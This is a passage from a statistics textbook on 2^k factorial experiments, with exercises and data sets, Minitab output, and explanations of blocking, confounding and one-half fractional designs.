14-14. The data shown here represent a single replicate of a 2^5 design that is used in an experiment to study the compressive strength of concrete. The factors are mix (A), time (B), laboratory (C), temperature (D), and drying time (E).

(1)	= 700	*e*	= 800
a	= 900	*ae*	= 1200
b	= 3400	*be*	= 3500
ab	= 5500	*abe*	= 6200
c	= 600	*ce*	= 600
ac	= 1000	*ace*	= 1200
bc	= 3000	*bce*	= 3006
abc	= 5300	*abce*	= 5500
d	= 1000	*de*	= 1900
ad	= 1100	*ade*	= 1500
bd	= 3000	*bde*	= 4000
abd	= 6100	*abde*	= 6500
cd	= 800	*cde*	= 1500
acd	= 1100	*acde*	= 2000
bcd	= 3300	*bcde*	= 3400
abcd	= 6000	*abcde*	= 6800

(a) Estimate the factor effects.
(b) Which effects appear important? Use a normal probability plot.
(c) If it is desirable to maximize the strength, in which direction would you adjust the process variables?
(d) Analyze the residuals from this experiment.

14-15. An article in *IEEE Transactions on Semiconduc-tor Manufacturing* (Vol. 5, 1992, pp. 214–222) describes an experiment to investigate the surface charge on a silicon wafer. The factors thought to influence induced surface charge are cleaning method (spin rinse dry or SRD and spin dry or SD) and the position on the wafer where the charge was measured. The surface charge ($\times 10^{11}$ q/cm^3) response data are as shown.

Cleaning Method	Test Position L	Test Position R
SD	1.66	1.84
SD	1.90	1.84
SD	1.92	1.62
SRD	−4.21	−7.58
SRD	−1.35	−2.20
SRD	−2.08	−5.36

(a) Estimate the factor effects.
(b) Which factors appear important? Use $\alpha = 0.05$.
(c) Analyze the residuals from this experiment.

14-16. An article in *Oikos: A Journal of Ecology* ["Regulation of Root Vole Population Dynamics by Food Supply and Predation: A Two-Factor Experiment" (2005, Vol. 109, pp. 387–395)] investigated how food supply interacts with predation in the regulation of root vole (Microtus oeconomus Pallas) population dynamics. A replicated two-factor field experiment manipulating both food supply and predation condition for root voles was conducted. Four treatments were applied: −P, +F (no-predator, food-supplemented); +P, +F (predator-access, food-supplemented); −P, −F (no-predator, nonsupplemented); +P, −F (predator-access, food-supplemented). The population density of root voles (voles ha^{-1}) for each treatment combination in each is shown below.

Food Supply (F)	Predation (P)	Replicates		
+1	−1	88.589	114.059	200.979
+1	+1	56.949	97.079	78.759
−1	−1	65.439	89.089	172.339
−1	+1	40.799	47.959	74.439

(a) What is an appropriate statistical model for this experiment?
(b) Analyze the data and draw conclusions.
(c) Analyze the residuals from this experiment. Are there any problems with model adequacy?

14-17. An experiment was run in a semiconductor fabrication plant in an effort to increase yield. Five factors, each at two levels, were studied. The factors (and levels) were A = aperture setting (small, large), B = exposure time (20% below nominal, 20% above nominal), C = development time (30 and 45 seconds), D = mask dimension (small, large), and E = etch time (14.5 and 15.5 minutes). The following unreplicated 2^5 design was run:

(1)	= 7	*e*	= 8
a	= 9	*ae*	= 12
b	= 34	*be*	= 35
ab	= 55	*abe*	= 52
c	= 16	*ce*	= 15
ac	= 20	*ace*	= 22
bc	= 40	*bce*	= 45
abc	= 60	*abce*	= 65
d	= 8	*de*	= 6
ad	= 10	*ade*	= 10
bd	= 32	*bde*	= 30
abd	= 50	*abde*	= 53
cd	= 18	*cde*	= 15
acd	= 21	*acde*	= 20
bcd	= 44	*bcde*	= 41
abcd	= 61	*abcde*	= 63

(a) Construct a normal probability plot of the effect estimates. Which effects appear to be large?
(b) Conduct an analysis of variance to confirm your findings for part (a).
(c) Construct a normal probability plot of the residuals. Is the plot satisfactory?
(d) Plot the residuals versus the predicted yields and versus each of the five factors. Comment on the plots.
(e) Interpret any significant interactions.
(f) What are your recommendations regarding process operating conditions?
(g) Project the 2^5 design in this problem into a 2^r for $r < 5$ design in the important factors. Sketch the design and show the average and range of yields at each run. Does this sketch aid in data interpretation?

14-18. An experiment described by M. G. Natrella in the National Bureau of Standards' *Handbook of Experimental Statistics* (No. 91, 1963) involves flame-testing fabrics after applying fire-retardant treatments. The four factors considered are type of fabric (A), type of fire-retardant treatment (B), laundering condition (C—the low level is no laundering, the high level is after one laundering), and method of conducting the flame test (D). All factors are run at two levels, and the response variable is the inches of fabric burned on a standard size test sample. The data are:

(1)	= 42	*d*	= 40
a	= 31	*ad*	= 30
b	= 45	*bd*	= 50
ab	= 29	*abd*	= 25
c	= 39	*cd*	= 40
ac	= 28	*acd*	= 25
bc	= 46	*bcd*	= 50
abc	= 32	*abcd*	= 23

(a) Estimate the effects and prepare a normal plot of the effects.
(b) Construct an analysis of variance table based on the model tentatively identified in part (a).
(c) Construct a normal probability plot of the residuals and comment on the results.

14-19. Consider the data from Exercise 14-12. Suppose that the data from the second replicate was not available. Analyze the data from replicate I only and comment on your findings.

14-20. A 2^4 factorial design was run in a chemical process. The design factors are A = time, B = concentration, C = pressure, and D = temperature. The response variable is yield. The data follow:

Run	A	B	C	D	Yield (pounds)	Factor Levels	−	+
1	−	−	−	−	12	A (hours)	2	3
2	+	−	−	−	18	B (%)	14	18
3	−	+	−	−	13	C (psi)	60	80
4	+	+	−	−	16	D (°C)	200	250
5	−	−	+	−	17			
6	+	−	+	−	15			
7	−	+	+	−	20			
8	+	+	+	−	15			
9	−	−	−	+	10			
10	+	−	−	+	25			
11	−	+	−	+	13			
12	+	+	−	+	24			
13	−	−	+	+	19			
14	+	−	+	+	21			
15	−	+	+	+	17			
16	+	+	+	+	23			

(a) Estimate the factor effects. Based on a normal probability plot of the effect estimates, identify a model for the data from this experiment.
(b) Conduct an ANOVA based on the model identified in part (a). What are your conclusions?
(c) Analyze the residuals and comment on model adequacy.
(d) Find a regression model to predict yield in terms of the actual factor levels.
(e) Can this design be projected into a 2^3 design with two replicates? If so, sketch the design and show the average and range of the two yield values at each cube corner. Discuss the practical value of this plot.

14-21. An experiment has run a single replicate of a 2^4 design and calculated the following factor effects:

$A = 80.25$	$AB = 53.25$	$ABC = -2.95$
$B = -65.50$	$AC = 11.00$	$ABD = -8.00$
$C = -9.25$	$AD = 9.75$	$ACD = 10.25$
$D = -20.50$	$BC = 18.36$	$BCD = -7.95$
	$BD = 15.10$	$ABCD = -6.25$
	$CD = -1.25$	

(a) Construct a normal probability plot of the effects.
(b) Identify a tentative model, based on the plot of effects in part (a).
(c) Estimate the regression coefficients in this model, assuming that $\bar{y} = 400$.

14-22. A two-level factorial experiment in four factors was conducted by Chrysler and described in the article "Sheet Molded Compound Process Improvement" by P. I. Hsieh and D. E. Goodwin (*Fourth Symposium on Taguchi Methods*, American Supplier Institute, Dearborn, MI, 1986, pp. 13–21). The purpose was to reduce the number of defects in the finish of sheet-molded grill opening panels. A portion of the experimental design, and the resulting number of defects, y_i observed on each run is shown in the table following. This is a single replicate of the 2^4 design.

(a) Estimate the factor effects and use a normal probability plot to tentatively identify the important factors.
(b) Fit an appropriate model using the factors identified in part (a) above.
(c) Plot the residuals from this model versus the predicted number of defects. Also, prepare a normal probability plot of the residuals. Comment on the adequacy of these plots.
(d) The table also shows the square root of the number of defects. Repeat parts (a) and (c) of the analysis using the square root of the number of defects as the response. Does this change the conclusions?

Run	A	B	C	D	y	$\sqrt{y}$
1	−	−	−	−	56	7.48
2	+	−	−	−	17	4.12
3	−	+	−	−	2	1.41
4	+	+	−	−	4	2.00
5	−	−	+	−	3	1.73
6	+	−	+	−	4	2.00
7	−	+	+	−	50	7.07
8	+	+	+	−	2	1.41
9	−	−	−	+	1	1.00
10	+	−	−	+	0	0.00
11	−	+	−	+	3	1.73
12	+	+	−	+	12	3.46
13	−	−	+	+	3	1.73
14	+	−	+	+	4	2.00
15	−	+	+	+	0	0.00
16	+	+	+	+	0	0.00

14-23. Consider a 2^2 factorial experiment with four center points. The data are $(1) = 21$, $a = 125$, $b = 154$, $ab = 352$, and the responses at the center point are 92, 130, 98, 152. Compute an ANOVA with the sum of squares for curvature and conduct an F-test for curvature. Use $\alpha = 0.05$.

14-24. Consider the experiment in Exercise 14-14. Suppose that a center point with five replicates is added to the factorial runs and the responses are 2800, 5600, 4500, 5400, 3600. Compute an ANOVA with the sum of squares for curvature and conduct an F-test for curvature. Use $\alpha = 0.05$.

14-25. Consider the experiment in Exercise 14-17. Suppose that a center point with five replicates is added to the factorial runs and the responses are 45, 40, 41, 47, and 43.

(a) Estimate the experimental error using the center points. Compare this to the estimate obtained originally in Exercise 14-17 by pooling apparently nonsignificant effects.
(b) Test for curvature with $\alpha = 0.05$.

14-26. An article in *Talanta* (2005, Vol. 65, pp. 895–899) presented a 2^3 factorial design to find lead level by using flame atomic absorption spectrometry (FAAS). The data are shown in the following table.

	Factors			Lead Recovery (%)	
Run	ST	pH	RC	R1	R2
1	−	−	−	39.8	42.1
2	+	−	−	51.3	48
3	−	+	−	57.9	58.1
4	+	+	−	78.9	85.9
5	−	−	+	78.9	84.2
6	+	−	+	84.2	84.2
7	−	+	+	94.4	90.9
8	+	+	+	94.7	105.3

The factors and levels are shown in the following table.

Factor	Low (−)	High (+)
Reagent concentration (RC) (mol 1^{-1})	5×10^{-6}	5×10^{-5}
pH	6.0	8.0
Shaking time (ST) (min)	10	30

(a) Construct a normal probability plot of the effect estimates. Which effects appear to be large?
(b) Conduct an analysis of variance to confirm your findings for part (a).
(c) Analyze the residuals from this experiment. Are there any problems with model adequacy?

14-27. An experiment to study the effect of machining factors on ceramic strength was described at http://www.itl.nist.gov/div898/handbook/. Five factors were considered at two levels each: A = Table Speed, B = Down Feed Rate, C = Wheel Grit, D = Direction, E = Batch. The response is the average of the ceramic strength over 15 repetitions. The following data are from a single replicate of a 2^5 factorial design.

A	B	C	D	E	Strength
−1	−1	−1	−1	−1	680.45
1	−1	−1	−1	−1	722.48
−1	1	−1	−1	−1	702.14
1	1	−1	−1	−1	666.93
−1	−1	1	−1	−1	703.67
1	−1	1	−1	−1	642.14
−1	1	1	−1	−1	692.98
1	1	1	−1	−1	669.26
−1	−1	−1	1	−1	491.58
1	−1	−1	1	−1	475.52
−1	1	−1	1	−1	478.76
1	1	−1	1	−1	568.23
−1	−1	1	1	−1	444.72
1	−1	1	1	−1	410.37
−1	1	1	1	−1	428.51
1	1	1	1	−1	491.47
−1	−1	−1	−1	1	607.34
1	−1	−1	−1	1	620.8
−1	1	−1	−1	1	610.55
1	1	−1	−1	1	638.04
−1	−1	1	−1	1	585.19
1	−1	1	−1	1	586.17
−1	1	1	−1	1	601.67
1	1	1	−1	1	608.31
−1	−1	−1	1	1	442.9
1	−1	−1	1	1	434.41
−1	1	−1	1	1	417.66
1	1	−1	1	1	510.84
−1	−1	1	1	1	392.11
1	−1	1	1	1	343.22
−1	1	1	1	1	385.52
1	1	1	1	1	446.73

(a) Estimate the factor effects and use a normal probability plot of the effects. Identify which effects appear to be large.
(b) Fit an appropriate model using the factors identified in part (a) above.
(c) Prepare a normal probability plot of the residuals. Also, plot the residuals versus the predicted ceramic strength. Comment on the adequacy of these plots.
(d) Identify and interpret any significant interactions.
(e) What are your recommendations regarding process operating conditions?

14-28. Consider the following Minitab output for a 2^3 factorial experiment.
(a) How many replicates were used in the experiment?
(b) Use Equation 14-17 to calculate the standard error of a coefficient.
(c) Calculate the entries marked with "?" in the output.

Factorial Fit: y versus A, B, C

Estimated Effects and Coefficients for y (coded units)

Term	Effect	Coef	SE Coef	T	P
Constant		579.33	38.46	15.06	0.000
A	2.95	1.47	38.46	0.04	0.970
B	15.92	?	38.46	0.21	0.841
C	−37.87	−18.94	38.46	−0.49	0.636
A*B	20.43	10.21	38.46	?	0.797
A*C	−17.11	−8.55	38.46	−0.22	0.830
B*C	4.41	2.21	38.46	0.06	0.956
A*B*C	13.35	6.68	?	0.17	0.866

S = 153.832 R−Sq = 5.22% R−Sq (adj) = 0.00%

Analysis of Variance for y (coded units)

Source	DF	Seq SS	Adj SS	Adj MS	F	P
Main Effects	3	6785	6785	2261.8	?	0.960
2-Way Interactions	3	?	2918	972.5	0.04	0.988
3-Way Interactions	1	?	713	713.3	0.03	0.866
Residual Error	8	189314	189314	23664.2		
Pure Error	8	189314	189314	23664.2		
Total	15	199730				

14-29. An article in *Analytica Chimica Acta* ["Design-of-Experiment Optimization of Exhaled Breath Condensate Analysis Using a Miniature Differential Mobility Spectrometer (DMS)" (2008, Vol. 628, No. 2, pp. 155–161)] examined four parameters that affect the sensitivity and detection of the analytical instruments used to measure clinical samples. They optimized the sensor function using EBC samples spiked with acetone, a known clinical biomarker in breath. The following table shows the results for a single replicate of a 2^4 factorial experiment for one of the outputs, the average amplitude of acetone peak over three repetitions.

Configuration	A	B	C	D	Y
1	+	+	+	+	0.12
2	+	+	+	−	0.1193
3	+	+	−	+	0.1196
4	+	+	−	−	0.1192
5	+	−	+	+	0.1186
6	+	−	+	−	0.1188
7	+	−	−	+	0.1191
8	+	−	−	−	0.1186
9	−	+	+	+	0.121
10	−	+	+	−	0.1195
11	−	+	−	+	0.1196
12	−	+	−	−	0.1191
13	−	−	+	+	0.1192
14	−	−	+	−	0.1194
15	−	−	−	+	0.1188
16	−	−	−	−	0.1188

The factors and levels are shown in the following table.

A	RF voltage of the DMS sensor (1200 or 1400 V)
B	Nitrogen carrier gas flow rate (250 or 500mLmin^{-1})
C	Solid phase microextraction (SPME) filter type (polyacrylate or PDMS–DVB)
D	GC cooling profile (cryogenic and noncryogenic)

(a) Estimate the factor effects and use a normal probability plot of the effects. Identify which effects appear to be large, and identify a model for the data from this experiment.
(b) Conduct an ANOVA based on the model identified in part (a). What are your conclusions?
(c) Analyze the residuals from this experiment. Are there any problems with model adequacy?
(d) Project the design in this problem into a 2^r design for $r < 4$ in the important factors. Sketch the design and show the average and range of yields at each run. Does this sketch aid in data representation?

14-6 BLOCKING AND CONFOUNDING IN THE 2^k DESIGN

It is often impossible to run all the observations in a 2^k factorial design under homogeneous conditions. Blocking is the design technique that is appropriate for this general situation. However, in many situations the block size is smaller than the number of runs in the complete replicate. In these cases, **confounding** is a useful procedure for running the 2^k design in 2^p blocks where the number of runs in a block is less than the number of treatment combinations in one complete replicate. The technique causes certain interaction effects to be indistinguishable from

Figure 14-28 A 2^2 design in two blocks. (a) Geometric view. (b) Assignment of the four runs to two blocks.

blocks or **confounded with blocks.** We will illustrate confounding in the 2^k factorial design in 2^p blocks, where $p < k$.

Consider a 2^2 design. Suppose that each of the $2^2 = 4$ treatment combinations requires four hours of laboratory analysis. Thus, two days are required to perform the experiment. If days are considered as blocks, we must assign two of the four treatment combinations to each day.

This design is shown in Fig. 14-28. Notice that block 1 contains the treatment combinations (1) and *ab* and that block 2 contains *a* and *b*. The contrasts for estimating the main effects of factors *A* and *B* are

$$\text{Contrast}_A = ab + a - b - (1)$$

$$\text{Contrast}_B = ab + b - a - (1)$$

Note that these contrasts are unaffected by blocking since in each contrast there is one plus and one minus treatment combination from each block. That is, any difference between block 1 and block 2 that increases the readings in one block by an additive constant cancels out. The contrast for the *AB* interaction is

$$\text{Contrast}_{AB} = ab + (1) - a - b$$

Since the two treatment combinations with the plus signs, *ab* and (1), are in block 1 and the two with the minus signs, *a* and *b*, are in block 2, the block effect and the *AB* interaction are identical. That is, the *AB* interaction is confounded with blocks.

The reason for this is apparent from the table of plus and minus signs for the 2^2 design shown in Table 14-12. From the table we see that all treatment combinations that have a plus on *AB* are assigned to block 1, whereas all treatment combinations that have a minus sign on *AB* are assigned to block 2.

This scheme can be used to confound any 2^k design in two blocks. As a second example, consider a 2^3 design, run in two blocks. From the table of plus and minus signs, shown in Table 14-15, we assign the treatment combinations that are minus in the *ABC* column to block 1 and those that are plus in the *ABC* column to block 2. The resulting design is shown in Fig. 14-29.

There is a more general method of constructing the blocks. The method employs a **defining contrast,** say,

$$L = \alpha_1 x_1 + \alpha_2 x_2 + \cdots + \alpha_k x_k \tag{14-20}$$

where x_i is the level of the *i*th factor appearing in a treatment combination and α_i is the exponent appearing on the *i*th factor in the effect that is to be confounded with blocks. For the 2^k system, we have either $\alpha_i = 0$ or 1, and either $x_i = 0$ (low level) or $x_i = 1$ (high level).

Figure 14-29 The 2^3 design in two blocks with *ABC* confounded. (a) Geometric view. (b) Assignment of the eight runs to two blocks.

Treatment combinations that produce the same value of L (modulus 2) will be placed in the same block. Since the only possible values of L (mod 2) are 0 and 1, this will assign the 2^k treatment combinations to exactly two blocks.

As an example, consider the 2^3 design with *ABC* confounded with blocks. Here x_1 corresponds to A, x_2 to B, x_3 to C, and $\alpha_1 = \alpha_2 = \alpha_3 = 1$. Thus, the defining contrast that would be used to confound *ABC* with blocks is

$$L = x_1 + x_2 + x_3$$

To assign the treatment combinations to the two blocks, we substitute the treatment combinations into the defining contrast as follows:

$$\begin{aligned}
(1)&: L = 1(0) + 1(0) + 1(0) = 0 = 0 \pmod 2\\
a&: L = 1(1) + 1(0) + 1(0) = 1 = 1 \pmod 2\\
b&: L = 1(0) + 1(1) + 1(0) = 1 = 1 \pmod 2\\
ab&: L = 1(1) + 1(1) + 1(0) = 2 = 0 \pmod 2\\
c&: L = 1(0) + 1(0) + 1(1) = 1 = 1 \pmod 2\\
ac&: L = 1(1) + 1(0) + 1(1) = 2 = 0 \pmod 2\\
bc&: L = 1(0) + 1(1) + 1(1) = 2 = 0 \pmod 2\\
abc&: L = 1(1) + 1(1) + 1(1) = 3 = 1 \pmod 2
\end{aligned}$$

Thus (1), *ab*, *ac*, and *bc* are run in block 1, and *a*, *b*, *c*, and *abc* are run in block 2. This same design is shown in Fig. 14-29.

A shortcut method is useful in constructing these designs. The block containing the treatment combination (1) is called the **principal block.** Any element [except (1)] in the principal block may be generated by multiplying two other elements in the principal block modulus 2 on the exponents. For example, consider the principal block of the 2^3 design with *ABC* confounded, shown in Fig. 14-29. Note that

$$\begin{aligned}
ab \cdot ac &= a^2bc = bc\\
ab \cdot bc &= ab^2c = ac\\
ac \cdot bc &= abc^2 = ab
\end{aligned}$$

Treatment combinations in the other block (or blocks) may be generated by multiplying one element in the new block by each element in the principal block modulus 2 on the exponents. For the 2^3 with *ABC* confounded, since the principal block is (1), *ab*, *ac*, and *bc*, we know that the treatment combination *b* is in the other block. Thus, elements of this second block are

$$
\begin{aligned}
b \cdot (1) &= b \\
b \cdot ab = ab^2 &= a \\
b \cdot ac &= abc \\
b \cdot bc = b^2c &= c
\end{aligned}
$$

EXAMPLE 14-7 Missile Miss Distance

An experiment is performed to investigate the effect of four factors on the terminal miss distance of a shoulder-fired ground-to-air missile. The four factors are target type (*A*), seeker type (*B*), target altitude (*C*), and target range (*D*). Each factor may be conveniently run at two levels, and the optical tracking system will allow terminal miss distance to be measured to the nearest foot. Two different operators or gunners are used in the flight test and, since there may be differences between operators, the test engineers decided to conduct the 2^4 design in two blocks with *ABCD* confounded. Thus, the defining contrast is

$$L = x_1 + x_2 + x_3 + x_4$$

The experimental design and the resulting data are shown in Fig. 14-30. The effect estimates obtained from Minitab are shown in Table 14-23. A normal probability plot of the effects in Fig. 14-31 reveals that *A* (target type), *D* (target range), *AD*, and *AC* have large effects. A confirming analysis of variance, pooling the three-factor interactions as error, is shown in Table 14-24.

Practical Interpretation: Since the *AC* and *AD* interactions are significant, it is logical to conclude that *A* (target type), *C* (target altitude), and *D* (target range) all have important effects on the miss distance and that there are interactions between target type and altitude and target type and range. Notice that the *ABCD* effect is treated as blocks in this analysis.

Block 1		Block 2	
(1)	= 3	*a*	= 7
ab	= 7	*b*	= 5
ac	= 6	*c*	= 6
bc	= 8	*d*	= 4
ad	= 10	*abc*	= 6
bd	= 4	*bcd*	= 7
cd	= 8	*acd*	= 9
abcd	= 9	*abd*	= 12

Assignment of the sixteen runs to two blocks

(b)

Figure 14-30 The 2^4 design in two blocks for Example 14-7. (a) Geometric view. (b) Assignment of the 16 runs to two blocks.

Table 14-23 Minitab Effect Estimates for Example 14-7

Estimated Effects and Coefficients for Distance		
Term	Effect	Coef
Constant		6.938
Block		0.063
A	2.625	1.312
B	0.625	0.313
C	0.875	0.438
D	1.875	0.938
AB	−0.125	−0.063
AC	−2.375	−1.187
AD	1.625	0.813
BC	−0.375	−0.188
BD	−0.375	−0.187
CD	−0.125	−0.062
ABC	−0.125	−0.063
ABD	0.875	0.438
ACD	−0.375	−0.187
BCD	−0.375	−0.187

Figure 14-31 Normal probability plot of the effects from Minitab, Example 14-6.

It is possible to confound the 2^k design in four blocks of 2^{k-2} observations each. To construct the design, two effects are chosen to confound with blocks, and their defining contrasts are obtained. A third effect, the **generalized interaction** of the two effects initially chosen, is also confounded with blocks. The generalized interaction of two effects is found by multiplying their respective letters and reducing the exponents modulus 2.

For example, consider the 2^4 design in four blocks. If AC and BD are confounded with blocks, their generalized interaction is $(AC)(BD) = ABCD$. The design is constructed by using

Table 14-24 Analysis of Variance for Example 14-7

Source of Variation	Sum of Squares	Degrees of Freedom	Mean Square	f_0	P-Value
Blocks ($ABCD$)	0.0625	1	0.0625	0.06	—
A	27.5625	1	27.5625	25.94	0.0070
B	1.5625	1	1.5625	1.47	0.2920
C	3.0625	1	3.0625	2.88	0.1648
D	14.0625	1	14.0625	13.24	0.0220
AB	0.0625	1	0.0625	0.06	—
AC	22.5625	1	22.5625	21.24	0.0100
AD	10.5625	1	10.5625	9.94	0.0344
BC	0.5625	1	0.5625	0.53	—
BD	0.5625	1	0.5625	0.53	—
CD	0.0625	1	0.0625	0.06	—
Error ($ABC + ABD + ACD + BCD$)	4.2500	4	1.0625		
Total	84.9375	15			

the defining contrasts for *AC* and *BD*:

$$L_1 = x_1 + x_3$$
$$L_2 = x_2 + x_4$$

It is easy to verify that the four blocks are

Block 1	Block 2	Block 3	Block 4
$L_1 = 0, L_2 = 0$	$L_1 = 1, L_2 = 0$	$L_1 = 0, L_2 = 1$	$L_1 = 1, L_2 = 1$
(1)	*a*	*b*	*ab*
ac	*c*	*abc*	*bc*
bd	*abd*	*d*	*ad*
abcd	*bcd*	*acd*	*cd*

This general procedure can be extended to confounding the 2^k design in 2^p blocks, where $p < k$. Start by selecting p effects to be confounded, such that no effect chosen is a generalized interaction of the others. Then the blocks can be constructed from the p defining contrasts $L_1, L_2, \ldots, L_p$ that are associated with these effects. In addition to the p effects chosen to be confounded, exactly $2^p - p - 1$ additional effects are confounded with blocks; these are the generalized interactions of the original p effects chosen. Care should be taken so as not to confound effects of potential interest.

For more information on confounding in the 2^k factorial design, refer to Montgomery (2009). This book contains guidelines for selecting factors to confound with blocks so that main effects and low-order interactions are not confounded. In particular, the book contains a table of suggested confounding schemes for designs with up to seven factors and a range of block sizes, some of which are as small as two runs.

EXERCISES FOR SECTION 14-6

14-30. Consider the data from the first replicate of Exercise 14-12.

(a) Suppose that these observations could not all be run under the same conditions. Set up a design to run these observations in two blocks of four observations each, with *ABC* confounded.

(b) Analyze the data.

14-31. Consider the data from the first replicate of Exercise 14-13.

(a) Construct a design with two blocks of eight observations each, with *ABCD* confounded.

(b) Analyze the data.

14-32. Consider the data from Exercise 14-18.

(a) Construct the design that would have been used to run this experiment in two blocks of eight runs each.

(b) Analyze the data and draw conclusions.

14-33. Construct a 2^5 design in two blocks. Select the *ABCDE* interaction to be confounded with blocks.

14-34. Consider the data from the first replicate of Exercise 14-13, assuming that four blocks are required. Confound *ABD* and *ABC* (and consequently *CD*) with blocks.

(a) Construct a design with four blocks of four observations each.

(b) Analyze the data.

14-35. Construct a 2^5 design in four blocks. Select the appropriate effects to confound so that the highest possible interactions are confounded with blocks.

14-36. Consider the 2^6 factorial design. Set up a design to be run in four blocks of 16 runs each. Show that a design that confounds three of the four-factor interactions with blocks is the best possible blocking arrangement.

14-37. An article in *Quality Engineering* [“Designed Experiment to Stabilize Blood Glucose Levels” (1999–2000, Vol. 12, pp. 83–87)] reported on an experiment to minimize variations in blood glucose levels. The factors were: volume of juice intake before exercise (4 or 8 oz), amount of exercise on a Nordic Track cross-country skier (10 or 20 min), and delay between the time of juice intake (0 or 20 min) and the beginning of the exercise period. The experiment was blocked for time of day. The data follow.

(a) What effects are confounded with blocks? Comment on any concerns with the confounding in this design.

(b) Analyze the data and draw conclusions.

Run	Juice (oz)	Exercise (min)	Delay (min)	Time of Day	Average Blood Glucose
1	4	10	0	pm	71.5
2	8	10	0	am	103
3	4	20	0	am	83.5
4	8	20	0	pm	126
5	4	10	20	am	125.5
6	8	10	20	pm	129.5
7	4	20	20	pm	95
8	8	20	20	am	93

14-38. An article in *Industrial and Engineering Chemistry* ["Factorial Experiments in Pilot Plant Studies" (1951, pp. 1300–1306)] reports on an experiment to investigate the effect of temperature (A), gas throughput (B), and concentration (C) on the strength of product solution in a recirculation unit. Two blocks were used with ABC confounded, and the experiment was replicated twice. The data follow.

(a) Analyze the data from this experiment.

Replicate 1

Block 1	Block 2
(1) = 99	a = 18
ab = 52	b = 51
ac = 42	c = 108
bc = 95	abc = 35

Replicate 2

Block 3	Block 4
(1) = 46	a = 18
ab = 47	b = 62
ac = 22	c = 104
bc = 67	abc = 36

(b) Analyze the residuals and comment on model adequacy.

(c) Comment on the efficiency of this design. Note that we have replicated the experiment twice, yet we have no information on the ABC interaction.

(d) Suggest a better design, specifically, one that would provide some information on *all* interactions.

14-39. Consider the following Minitab output from a single replicate of a 2^4 experiment in two blocks with ABCD confounded.

(a) Comment on the value of blocking in this experiment.

(b) What effects were used to generate the residual error in the ANOVA?

(c) Calculate the entries marked with "?" in the output.

Factorial Fit: y versus Block, A, B, C, D

Estimated Effects and Coefficients for y (coded units)

Term	Effect	Coef	Se Coef	T	P
Constant		579.33	9.928	58.35	0.000
Block		105.68	9.928	10.64	0.000
A	−15.41	−7.70	9.928	−0.78	0.481
B	2.95	1.47	9.928	0.15	0.889
C	15.92	7.96	9.928	0.80	0.468
D	−37.87	−18.94	9.928	−1.91	0.129
A*B	−8.16	−4.08	9.928	−0.41	0.702
A*C	5.91	2.95	9.928	0.30	0.781
A*D	30.28	?	9.928	?	0.202
B*C	20.43	10.21	9.928	1.03	0.362
B*D	−17.11	−8.55	9.928	−0.86	0.437
C*D	4.41	2.21	9.928	0.22	0.835

S = 39.7131 R-Sq = 96.84% R-Sq (adj) = 88.16%

Analysis of Variance for y (coded units)

Source	DF	Seq SS	Adj SS	Adj MS	F	P
Blocks	?	178694	178694	178694	113.30	0.000
Main Effects	4	7735	7735	1934	1.23	0.424
2-Way Interactions	6	6992	6992	?	0.74	0.648
Residual Error	4	6309	6309	1577		
Total	15	199730				

14-40. An article in *Advanced Semiconductor Manufacturing Conference (ASMC)* (May 2004, pp. 325–29) stated that dispatching rules and rework strategies are two major operational elements that impact productivity in a semiconductor fabrication plant (fab). A four-factor experiment was conducted to determine the effect of dispatching rule time (5 or 10 min), rework delay (0 or 15 min), fab temperature (60 or 80°F), and rework levels (level 0 or level 1) on key fab performance measures. The performance measure that was analyzed was the average cycle time. The experiment was blocked for the fab temperature. Data modified from the original study are shown in the following table.

Run	Dispatching Rule Time (min)	Rework Delay (min)	Rework Level	Fab Temperature (°F)	Average Cycle Time (min)
1	5	0	0	60	218
2	10	0	0	80	256.5
3	5	0	1	80	231
4	10	0	1	60	302.5
5	5	15	0	80	298.5
6	10	15	0	60	314
7	5	15	1	60	249
8	10	15	1	80	241

(a) What effects are confounded with blocks? Do you find any concerns with confounding in this design? If so, comment on it.

(b) Analyze the data and draw conclusions.

14-7 FRACTIONAL REPLICATION OF THE 2^k DESIGN

As the number of factors in a 2^k factorial design increases, the number of runs required increases rapidly. For example, a 2^5 requires 32 runs. In this design, only 5 degrees of freedom correspond to main effects, and 10 degrees of freedom correspond to two-factor interactions. Sixteen of the 31 degrees of freedom are used to estimate high-order interactions—that is, three-factor and higher order interactions. Often there is little interest in these high-order interactions, particularly when we first begin to study a process or system. If we can assume that certain high-order interactions are negligible, a **fractional factorial design** involving fewer than the complete set of 2^k runs can be used to obtain information on the main effects and low-order interactions. In this section, we will introduce fractional replications of the 2^k design.

A major use of fractional factorials is in **screening experiments.** These are experiments in which many factors are considered with the purpose of identifying those factors (if any) that have large effects. Screening experiments are usually performed in the early stages of a project when it is likely that many of the factors initially considered have little or no effect on the response. The factors that are identified as important are then investigated more thoroughly in subsequent experiments.

14-7.1 One-Half Fraction of the 2^k Design

A one-half fraction of the 2^k design contains 2^{k-1} runs and is often called a 2^{k-1} fractional factorial design. As an example, consider the 2^{3-1} design—that is, a one-half fraction of the 2^3. This design has only four runs, in contrast to the full factorial that would require eight runs. The table of plus and minus signs for the 2^3 design is shown in Table 14-25. Suppose we select the four treatment combinations *a*, *b*, *c*, and *abc*, as our one-half fraction. These treatment combinations are shown in the top half of Table 14-25 and in Fig. 14-32(a).

Notice that the 2^{3-1} design is formed by selecting only those treatment combinations that yield a plus on the *ABC* effect. Thus, *ABC* is called the **generator** of this particular fraction. Furthermore, the identity element *I* is also plus for the four runs, so we call

$$I = ABC$$

the **defining relation** for the design.

The treatment combinations in the 2^{3-1} design yields three degrees of freedom associated with the main effects. From the upper half of Table 14-25, we obtain the estimates of the main

Table 14-25 Plus and Minus Signs for the 2^3 Factorial Design

Treatment Combination	Factorial Effect							
	I	*A*	*B*	*C*	*AB*	*AC*	*BC*	*ABC*
a	+	+	−	−	−	−	+	+
b	+	−	+	−	−	+	−	+
c	+	−	−	+	+	−	−	+
abc	+	+	+	+	+	+	+	+
ab	+	+	+	−	+	−	−	−
ac	+	+	−	+	−	+	−	−
bc	+	−	+	+	−	−	+	−
(1)	+	−	−	−	+	+	+	−

Figure 14-32 The one-half fractions of the 2^3 design. (a) The principal fraction, $I = +ABC$. (b) The alternate fraction, $I = -ABC$.

effects as linear combinations of the observations, say,

$$A = \tfrac{1}{2}[a - b - c + abc]$$
$$B = \tfrac{1}{2}[-a + b - c + abc]$$
$$C = \tfrac{1}{2}[-a - b + c + abc]$$

It is also easy to verify that the estimates of the two-factor interactions should be the following linear combinations of the observations:

$$BC = \tfrac{1}{2}[a - b - c + abc]$$
$$AC = \tfrac{1}{2}[-a + b - c + abc]$$
$$AB = \tfrac{1}{2}[-a - b + c + abc]$$

